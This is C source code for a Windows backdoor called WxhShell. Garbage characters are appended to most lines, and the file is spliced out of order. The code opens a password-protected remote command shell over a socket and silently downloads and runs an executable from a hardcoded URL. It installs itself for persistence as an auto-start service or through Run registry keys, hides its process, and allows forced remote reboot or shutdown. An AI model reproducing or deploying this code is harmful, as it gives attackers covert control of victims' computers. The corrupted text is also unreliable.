    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YKbaf(K )9  
    else { P%#*-zCCx  
    closesocket(wsh); Vpr/  
    ExitThread(0); z81esXl  
    } fx@j?*Qb  
    break; +8v9flh  
    } -AhwI  
  // 获取shell "dROb}szn  
  case 's': { bu=?N  
    CmdShell(wsh); QT9n,lX  
    closesocket(wsh); w,O,W[C  
    ExitThread(0); %0$qP0|`3I  
    break; l3Lyea:  
  } S a4W`  
  // 退出 kN%MP 6?J  
  case 'x': { &AlJ "N|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?7 M.o  
    CloseIt(wsh); *loOiM\5a  
    break; -F=v6N{  
    } @x eAc0.^  
  // 离开 iA0q_( \X  
  case 'q': { TLd`1Ac  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [kqYfY?K  
    closesocket(wsh); C-8qj>  
    WSACleanup(); ?-tVSRKQ  
    exit(1); ?KITC;\\  
    break; 4*aZ>R2hO  
        } 4J?t_)  
  } Y3h/~bM%  
  } Yp0/Ab(v  
%0 #XPc("  
  // 提示信息 r?CI)Y;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0QvT   
} , =aJVb=C  
  } ifo7%XPcg  
5OO'v07b  
  return; 4Q IE8f Y  
} 557(EM  
wHIj<"2  
// shell模块句柄 %?aS#4jI  
int CmdShell(SOCKET sock) G[8in   
{ s;1]tD  
STARTUPINFO si; S,U Pl}KF  
ZeroMemory(&si,sizeof(si)); /B5-Fx7j3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GZ{]0$9I'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,+g&o^T  
PROCESS_INFORMATION ProcessInfo; f50L,4,  
char cmdline[]="cmd"; $!5\E>y#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,v&L:a  
  return 0; +kq'+Y7  
} i5>+}$1  
5@hNnh16  
// 自身启动模式 O$kq`'9  
int StartFromService(void) peJKNX.!q  
{ '+ xu#R  
typedef struct [xh*"wT#g  
{ 8vuCc=  
  DWORD ExitStatus; $5L0.$Tj  
  DWORD PebBaseAddress; , * ]d~Y  
  DWORD AffinityMask; 66#"  
  DWORD BasePriority; 7~ztwL  
  ULONG UniqueProcessId; +fx8muz:y  
  ULONG InheritedFromUniqueProcessId; }Z TGi,P c  
}   PROCESS_BASIC_INFORMATION; Fkf97Oi  
BYY RoE[P  
PROCNTQSIP NtQueryInformationProcess; : L_BG)dM  
pxSX#S6I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _/S?#   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )HD`O~M>  
`:O\dN>ON  
  HANDLE             hProcess; >a1{397Y}  
  PROCESS_BASIC_INFORMATION pbi; ;. wX@  
QRLJ_W^&u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )RYG%  
  if(NULL == hInst ) return 0; bS >0DU   
5'w^@Rs5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /%4_-Cpm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5j0{p$'9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W23]Bx  
^`SA'F ,  
  if (!NtQueryInformationProcess) return 0; )2DQ>cm  
XhdSFxW}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xyH/e*a  
  if(!hProcess) return 0; 8F)G7 H ,  
577:u<Yt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]APvp.Tw:  
dr{y0`CCN  
  CloseHandle(hProcess); -[OXSaf6  
"4H8A =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?EU\}N J  
if(hProcess==NULL) return 0; N~pIC2Woo  
r}u%#G+K,  
HMODULE hMod; I _i6-<c.Q  
char procName[255]; M HL("v(@B  
unsigned long cbNeeded; tn|,O.t  
J ti(b*~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Vg}V"QR  
CK_(b"  
  CloseHandle(hProcess); * n(> ^  
pium$4l2#  
if(strstr(procName,"services")) return 1; // 以服务启动 y[O-pD`  
+pH@oFNK  
  return 0; // 注册表启动 \Hqc 9&0  
} n:U>Fj>q  
0Q593F  
// 主模块 DWt*jX*  
int StartWxhshell(LPSTR lpCmdLine) W9t"aZor  
{ $jI>[%  
  SOCKET wsl; TP1S[`nR  
BOOL val=TRUE; 8u2+tB  
  int port=0;  n i  
  struct sockaddr_in door; 9Q W&$n^  
kC$&:\Rh  
  if(wscfg.ws_autoins) Install(); u)Q;8$`  
)a=/8ofe  
port=atoi(lpCmdLine); ^D@b;EyK  
;r=b|B9c  
if(port<=0) port=wscfg.ws_port; b'ml=a#i 0  
iA!7E;o  
  WSADATA data; :L0/V~D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lc<eRVNd,  
oUx[+Gnv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^IgY d*5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jnu Y{0(&  
  door.sin_family = AF_INET; [ neXFp}S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~un%4]U  
  door.sin_port = htons(port); |m,VTViv;i  
?p[O%_Xf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r^HA aGpC  
closesocket(wsl); :9l51oE7  
return 1; \g-j9|0  
} ,`td@Y  
g"Q h]:  
  if(listen(wsl,2) == INVALID_SOCKET) { 5;)*T6Y  
closesocket(wsl); %'L;FPxB  
return 1; AF4?IH  
} A1cb"N^  
  Wxhshell(wsl); =QV ::/  
  WSACleanup(); &[?CTZ  
*!:QdWLq  
return 0; %-;b u|  
yy2Ie  
} # Oup^ o@  
AyE\fY5  
// 以NT服务方式启动 &h$|j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y9r3XhVI  
{ }bB` (B,m  
DWORD   status = 0; h3u1K>R)  
  DWORD   specificError = 0xfffffff; ]_*S~'x  
=lr)gj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K.>wQA&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -ewQp9)G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V7=SV:+1or  
  serviceStatus.dwWin32ExitCode     = 0; kpfwqHT  
  serviceStatus.dwServiceSpecificExitCode = 0; "oc$  
  serviceStatus.dwCheckPoint       = 0; FE5Q?*Ea  
  serviceStatus.dwWaitHint       = 0; N4^5rrkL  
lx,`hl%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,*,sw:=2  
  if (hServiceStatusHandle==0) return; #P2;K dDO  
Mxz,wfaH>  
status = GetLastError(); Lx|',6S  
  if (status!=NO_ERROR) d-!<C7O}  
{ "c`xH@D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v:ER 4  
    serviceStatus.dwCheckPoint       = 0; ;Fl<v@9  
    serviceStatus.dwWaitHint       = 0; cep$_J a  
    serviceStatus.dwWin32ExitCode     = status; ~waNPjPRG  
    serviceStatus.dwServiceSpecificExitCode = specificError; M<8ML!N0;t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )JgC$ <  
    return; |qjZ38;6  
  } #I\Y= XCY  
R U!?-#*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PE@+w#i7*  
  serviceStatus.dwCheckPoint       = 0; 7h<> k*E)  
  serviceStatus.dwWaitHint       = 0; 32XS`Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^nDal':*  
} 6`nR5fh  
 #ch  
// 处理NT服务事件,比如:启动、停止 }HZ{(?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5vZ#b\;#V  
{ EO"C8z'al  
switch(fdwControl) p6 xPheD  
{ v"1Po_`  
case SERVICE_CONTROL_STOP: 9q4_j  
  serviceStatus.dwWin32ExitCode = 0; zj M/M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P{oAObP%  
  serviceStatus.dwCheckPoint   = 0; ~a+NJ6e1  
  serviceStatus.dwWaitHint     = 0; <O857 j  
  { `6w#8}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Zl"9A#K  
  } :\}U9QfCw  
  return; #1Z7&#R/  
case SERVICE_CONTROL_PAUSE: -l*A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \aSz2lxEHn  
  break; ZCiY,;c  
case SERVICE_CONTROL_CONTINUE: oKKz4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )+~E8yK  
  break; 9Vh_[^bR  
case SERVICE_CONTROL_INTERROGATE: .)PqN s:  
  break; CvTwBJy1  
}; `^8*<+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |XcH]7Ai"  
} l)@:T|)c  
lmFA&s"m  
// 标准应用程序主函数 F1u)i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #\FT EY!  
{ Q-('5a19J  
:1<~}*B@{  
// 获取操作系统版本 M9"Sgb`g  
OsIsNt=GetOsVer(); 3VP$x@AV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J|j;g!fK  
M<oA<#IW  
  // 从命令行安装 B?(4f2yE  
  if(strpbrk(lpCmdLine,"iI")) Install(); oX|?:MS:  
QrS$P09=\  
  // 下载执行文件 __)qw#  
if(wscfg.ws_downexe) { nm):SEkC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! zfFt;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5#uO'<2$  
} mTjm92  
b(T@~P/  
if(!OsIsNt) {  X4I]9 t\  
// 如果时win9x,隐藏进程并且设置为注册表启动 xXOw:A'  
HideProc(); XS/n>C  
StartWxhshell(lpCmdLine); B7 c[ 4  
} vgk9b!Xd  
else 8eX8IR!K9  
  if(StartFromService()) 05)|"EX)  
  // 以服务方式启动 l{EU_|q  
  StartServiceCtrlDispatcher(DispatchTable); `p|[rS>  
else %cj58zO |y  
  // 普通方式启动 W8* 2;F]  
  StartWxhshell(lpCmdLine); P6HGs? *  
"L_-}BK  
return 0; "?H+ u/8$  
} Ar`\ N1a  
Ruj.J,  
uC[d%v`  
WZ"W]Jyy{  
=========================================== on5 0+)uN  
J#@lV  
zPBfiK_hV  
Xiju"Cup"  
gb_X?j%p7  
uGCtLA+sL  
" ]L(54q;W  
,wT g$ g-$  
#include <stdio.h> +S0u=u65  
#include <string.h> ,>w}xWSYpG  
#include <windows.h> pzSqbgfrQ  
#include <winsock2.h> + (=I8s/  
#include <winsvc.h> 1*c>I@I;  
#include <urlmon.h> |Mlh;  
A\g%  
#pragma comment (lib, "Ws2_32.lib") Bm<^rhJ9  
#pragma comment (lib, "urlmon.lib") j 0?>w{e  
?Ccw4]YO,=  
#define MAX_USER   100 // 最大客户端连接数 bX&e_Pd  
#define BUF_SOCK   200 // sock buffer T/Q==Q{W:  
#define KEY_BUFF   255 // 输入 buffer "G kI5!  
d#7]hF  
#define REBOOT     0   // 重启 {Y "8~  
#define SHUTDOWN   1   // 关机 ^Y<M~K972  
?%;B`2 nDR  
#define DEF_PORT   5000 // 监听端口 L5C2ng>  
w .l|G,%=  
#define REG_LEN     16   // 注册表键长度 o'^phlX  
#define SVC_LEN     80   // NT服务名长度 bqNLkw#  
%^U"Spv;  
// 从dll定义API _/ Tlqzp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 25&nwz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -$m@*L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zly-\ z_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3FY_A(+  
Z fqQ {_  
// wxhshell配置信息 L6kZ2-6  
struct WSCFG { @ AggznA8  
  int ws_port;         // 监听端口 4L11P  
  char ws_passstr[REG_LEN]; // 口令 \ %_)_"Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no PS/W h  
  char ws_regname[REG_LEN]; // 注册表键名 -;<>tq'3`  
  char ws_svcname[REG_LEN]; // 服务名 d}VALjXHX!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t .L4%1OF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DA=qeVBg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &58 {  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V0S6M^\DK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W/a,.M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7 y>(H<^>  
pMDH  
}; {70 Ou}*  
~K%k 0kT  
// default Wxhshell configuration 1V0sl0i4  
struct WSCFG wscfg={DEF_PORT, A{1 \f*  
    "xuhuanlingzhe", Ri[S<GOMii  
    1, e@yx}:]h  
    "Wxhshell", )5'rw<:="  
    "Wxhshell", ]*a@*0=  
            "WxhShell Service", _ flg Q  
    "Wrsky Windows CmdShell Service", i<Q& D\Pv  
    "Please Input Your Password: ", g@}6N.]#  
  1, _ Q{T';  
  "http://www.wrsky.com/wxhshell.exe", -Sp/fjlq/  
  "Wxhshell.exe" >mew"0Q  
    }; u(8~4P0w  
F6DxvyANr  
// 消息定义模块 {9Db9K^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Q+\h>I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rI *!"PL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5'62ulwMP=  
char *msg_ws_ext="\n\rExit."; NQg'|Pt(%  
char *msg_ws_end="\n\rQuit."; 7^&lbzVbm(  
char *msg_ws_boot="\n\rReboot..."; R~!\ -6%_  
char *msg_ws_poff="\n\rShutdown..."; / Z1Wy-Z  
char *msg_ws_down="\n\rSave to "; '%);%y@v  
dA|Lufy#  
char *msg_ws_err="\n\rErr!"; !2#\| NJk  
char *msg_ws_ok="\n\rOK!"; ~ t"n%SgY  
)G^p1o;\  
char ExeFile[MAX_PATH]; '1Y<RD>x  
int nUser = 0; T<XfZZ)l<`  
HANDLE handles[MAX_USER]; 8F\~Wz7K  
int OsIsNt; m'3OGvd  
[#7D~Lx/  
SERVICE_STATUS       serviceStatus; F68},N>vr@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i]LU4y %'  
XNKtL]U}$  
// 函数声明 g(KK9Unu  
int Install(void); n}VbdxlN  
int Uninstall(void); %-\FVKX  
int DownloadFile(char *sURL, SOCKET wsh); Y' 2-yB  
int Boot(int flag); 3_C98ClE  
void HideProc(void); dZ.}j&ZH'  
int GetOsVer(void); LgO i3  
int Wxhshell(SOCKET wsl); J1nXAh)J  
void TalkWithClient(void *cs); 'w'Dwqhmr  
int CmdShell(SOCKET sock); U 7EHBW  
int StartFromService(void); Bl=nj.g  
int StartWxhshell(LPSTR lpCmdLine); ,n^TN{#  
YfV"_G.ad|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =jsx (3V   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZUv ZN f  
=kwb` Z/a  
// 数据结构和表定义 l&\t f`~  
SERVICE_TABLE_ENTRY DispatchTable[] = !NIL pimi  
{ .mC~Ry+t  
{wscfg.ws_svcname, NTServiceMain}, CQj/e+eE4  
{NULL, NULL} ful]OLV+  
}; hcd!A 5  
<zfO1~^  
// 自我安装 9qnuR'BDu  
int Install(void) /]pX8 d  
{ _RN/7\  
  char svExeFile[MAX_PATH]; ) )fDOJ  
  HKEY key; dko[  
  strcpy(svExeFile,ExeFile); ZYrKG+fkl  
XCW+ pUX  
// 如果是win9x系统,修改注册表设为自启动 ( P  
if(!OsIsNt) { v!nm &"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !&'# a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k,a,h^{}j  
  RegCloseKey(key); Lr K9F^c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "1_{c *ck  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yW%&_s0  
  RegCloseKey(key); >oVc5}  
  return 0; zC<'fT/rG  
    } M|1eqR%x-?  
  } N5[_a/  
} ~l;yr @  
else { zfM<x,XdY  
( K^YD K  
// 如果是NT以上系统,安装为系统服务 Ti0 (VdY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ac2}3 $u  
if (schSCManager!=0) N;e;4,_ n  
{ rdORNlK&  
  SC_HANDLE schService = CreateService s 4MNVT  
  ( 'hxs((['\  
  schSCManager, (3)C_Z  
  wscfg.ws_svcname, QBg}2.  
  wscfg.ws_svcdisp, -fb1cv~N  
  SERVICE_ALL_ACCESS, /E=h{|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jXc5fXO N  
  SERVICE_AUTO_START, d,Hf-zJ%~  
  SERVICE_ERROR_NORMAL, j4.Qvj >:4  
  svExeFile, $I?=.:<+  
  NULL, V`WI"HO+  
  NULL, gn-=##fT:i  
  NULL, (2\li{$e  
  NULL, `=_7I?  
  NULL 0L3Bo3:k  
  ); gubb .EY  
  if (schService!=0) =YS!soO  
  { ]hCWe0F  
  CloseServiceHandle(schService); 9nP*N`  
  CloseServiceHandle(schSCManager); daaga}]d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U)&H.^@r$  
  strcat(svExeFile,wscfg.ws_svcname); $M:4\E5(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [V!^\g\6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ws2prh^e(  
  RegCloseKey(key);  9OrA9r  
  return 0; FE$M[^1_  
    } 9$B)hrJo  
  } -~QlHp&SY  
  CloseServiceHandle(schSCManager); f 3nnXE"  
} A5&>!y  
} <) >gg!   
|[lxV&SD .  
return 1; KUl Zk^a  
} , V0iMq  
K8yWg\K  
// 自我卸载 GV `idFd  
int Uninstall(void) &-EyM*:u!  
{ B`'}&6jr.  
  HKEY key; T>AI0R3  
m)tI  
if(!OsIsNt) { `R4W4h'I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yke<Wy1  
  RegDeleteValue(key,wscfg.ws_regname); 2dp*>F0L  
  RegCloseKey(key); 20SF<V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D@/9+]-,  
  RegDeleteValue(key,wscfg.ws_regname); E 6>1Fm8%V  
  RegCloseKey(key); g4BwKENM  
  return 0; 7LyV`6{70  
  } cOj +}Hz58  
} V^/h;/! ^  
} 0C4*F  
else { IdN%f]=/  
":(Cpf0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UcKWa>:Fi  
if (schSCManager!=0) QjW~6Z.tI  
{ *YiD B?Si  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H4K(SGx  
  if (schService!=0) m\R@.jkZ  
  { (o6A?37i  
  if(DeleteService(schService)!=0) { K4K3< Pg  
  CloseServiceHandle(schService); -7C=- \]  
  CloseServiceHandle(schSCManager); (AyRs7Dkn  
  return 0; hs -}:^S`  
  } #U6/@l)  
  CloseServiceHandle(schService); 93zlfLS0  
  } DI2S %N l  
  CloseServiceHandle(schSCManager); DcFV^8O&  
} .q'FSEkMJ  
} h:US]ZC^Z  
 K2vPj|  
return 1; !'6J;Fb#  
} t&p:vXF2  
$yR{ZFo  
// 从指定url下载文件 @eG#%6">  
int DownloadFile(char *sURL, SOCKET wsh) ^YB\\a9  
{ T^f&58{ 7  
  HRESULT hr; 0X}w[^f  
char seps[]= "/"; !Cv<>_N).  
char *token; |eVTxeq  
char *file; ;r2b@x:<_  
char myURL[MAX_PATH]; CM@"lV_  
char myFILE[MAX_PATH]; Fr E/K_L  
i >/@]2  
strcpy(myURL,sURL); st1M.}  
  token=strtok(myURL,seps); Z)Xq!]~/g  
  while(token!=NULL) pqNoL* H  
  { Di5Op(S((  
    file=token; 37<GG)  
  token=strtok(NULL,seps); /fcwz5~  
  } #!F8n`C-  
JqH.QnKcv  
GetCurrentDirectory(MAX_PATH,myFILE); u0$5Fd&X  
strcat(myFILE, "\\"); Hf E;$  
strcat(myFILE, file); ;Vtpq3  
  send(wsh,myFILE,strlen(myFILE),0); %CfTqbB  
send(wsh,"...",3,0); _tg3%X]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k?@W/}Iv9  
  if(hr==S_OK) a}+ _Yo(Q  
return 0; aX%g+6t2  
else :;gwdZ  
return 1; 6`{)p&9  
cR@}   
} T J"{nB  
:[$i~V  
// 系统电源模块 *TMM:w|1  
int Boot(int flag) `:^)"#z)  
{ X#\P.$  
  HANDLE hToken; 0^tJX1L  
  TOKEN_PRIVILEGES tkp; I?xhak1)lu  
^LAS9K1.  
  if(OsIsNt) { &opH\wa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yh!\:9@(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;-P:$zw9c  
    tkp.PrivilegeCount = 1; M. UUA?d<'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i~M.F=I5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {UjIxV(J  
if(flag==REBOOT) { N'1[t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,'@ISCK^  
  return 0; '\3.isTsx  
} DW;.R<8  
else { l>Oe ,`9O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :O2v0Kx  
  return 0; ]`+"o[  
} ?2 O-EiWjZ  
  } J5r L7  
  else { #onfac-3  
if(flag==REBOOT) { X wn|.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N6 Cc%,  
  return 0; m]b.P,~v  
} jl|X$w  
else { i =+<7]Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9= ;g4I  
  return 0; 9HBx[2&  
}  6-E4)0\  
} sRI=TE]s  
4?6'~G$k  
return 1; \}_7^)S;  
} L``mF(R^  
=dJEcC_J  
// win9x进程隐藏模块 Mdq'> <ajL  
void HideProc(void) N_~Wu  
{ v,O&UrZ  
4iB)oR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3_['[}  
  if ( hKernel != NULL ) a>e 1jM[  
  { 2LK*Cv[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jZgnt{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `[R:L.H1  
    FreeLibrary(hKernel); ^*T{-U'  
  } B=qRZA!DQ?  
AF nl t  
return; REe%>|   
} @ F"ShT0  
(%^TTe  
// 获取操作系统版本 !N2 n@bo  
int GetOsVer(void) <Ucfd G&Lp  
{ uY#58?>'j  
  OSVERSIONINFO winfo; b8xfV{3L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nT6iS}h  
  GetVersionEx(&winfo); "MKsSty  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `rFGSq$9  
  return 1; bqLYF[#T  
  else qQ\hUii  
  return 0; }z%/6`7)|  
} TEy.zzt  
k-p7Y@`+a  
// 客户端句柄模块 VHkrPJ[  
int Wxhshell(SOCKET wsl) K0bmU(Xxp  
{ rAi!'vIE  
  SOCKET wsh; &S`'o%B  
  struct sockaddr_in client; :1Yd;%>92  
  DWORD myID; jfhDi6N  
jF2GHyB  
  while(nUser<MAX_USER) #pxet  
{ #hiDZ>nr  
  int nSize=sizeof(client); %y~]3XWik  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sJ*U Fm{  
  if(wsh==INVALID_SOCKET) return 1; vG=$UUh@~  
*`/@[S2,cu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gG|1$  
if(handles[nUser]==0) D+nj[8y  
  closesocket(wsh); }Z%{QJ$z  
else 2G*#Czr"  
  nUser++; `e:RZ  
  } UmMYe4LQR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g0 U\AN  
X_yU"U  
  return 0; :BiR6>1:  
} ymJw{&^am  
B~?Q. <M  
// 关闭 socket U0=zuRr n  
void CloseIt(SOCKET wsh) 246!\zf  
{ mLdyt-1  
closesocket(wsh); eyp\h8!u_  
nUser--; 1T^L) %&p_  
ExitThread(0); " ~hjB  
} H s 3*OhK\  
"!eT  
// 客户端请求句柄 : l[Q  
void TalkWithClient(void *cs) U-N/Z\QD  
{ b-gVRf#F  
Ol^EQLO  
  SOCKET wsh=(SOCKET)cs; 9O_N iu0  
  char pwd[SVC_LEN]; QE6-(/  
  char cmd[KEY_BUFF]; --hnv/AjI  
char chr[1]; mh SsOmJ5  
int i,j; vWga>IGM  
(9lx5  
  while (nUser < MAX_USER) { f*@:{2I.v  
Z1}zf( JU  
if(wscfg.ws_passstr) { ooxzM `  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _^A NJ7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Pm}]Y:_  
  //ZeroMemory(pwd,KEY_BUFF); `^Sq>R!;  
      i=0; Z0@ImhejuB  
  while(i<SVC_LEN) { ]@g$<&  
h2*&>Mc  
  // 设置超时 ?Gu>!7  
  fd_set FdRead; =)>q.R9  
  struct timeval TimeOut; 3`!KndY1  
  FD_ZERO(&FdRead); fN>|X\-  
  FD_SET(wsh,&FdRead); C\h<02  
  TimeOut.tv_sec=8; )}lV41u  
  TimeOut.tv_usec=0; }J lW\#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =&xoyF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z*B(L@H  
H(m+rk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Um|Tf]q  
  pwd=chr[0]; |a\TUzq  
  if(chr[0]==0xd || chr[0]==0xa) { 2C&%UZim;P  
  pwd=0; 2$UR " P  
  break; q{(&:~M  
  } !Z)^c&  
  i++; b DvbM  
    } eF\C?4  
J4X35H=Z  
  // 如果是非法用户,关闭 socket jzw?V9Ijb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U /Fomu  
} VG7#6)sQoK  
q,Q|Uvpk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h}_q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<n)zLy  
N/=3Bs0y-  
while(1) { 1r4/McB  
tYa*%|!v  
  ZeroMemory(cmd,KEY_BUFF); I-hhHm<@  
H|O}Dsj  
      // 自动支持客户端 telnet标准   5Yr$dNe  
  j=0; M] *pBc(o0  
  while(j<KEY_BUFF) { GjG3aqP&!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (o\~2e:  
  cmd[j]=chr[0]; )T_ #X!  
  if(chr[0]==0xa || chr[0]==0xd) { A4x3TW?  
  cmd[j]=0; )UUe5H6Hd0  
  break; v\FD~   
  } SsZzYj.d  
  j++; ]vErF=[U,  
    } ,oil}N(  
/L^dHI]Q  
  // 下载文件 }5U f`pM8  
  if(strstr(cmd,"http://")) { :Aw VeX@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xb\:H@92  
  if(DownloadFile(cmd,wsh)) EUqG"h5#A{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z`SkKn0f Y  
  else j&5Xjl>4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Yqa[._AF  
  } ?YO%]mTP  
  else { O/nS,Ux  
nt6"}vO  
    switch(cmd[0]) { @d|9(,Q  
  <i-RF-*S  
  // 帮助 *Y~64FM  
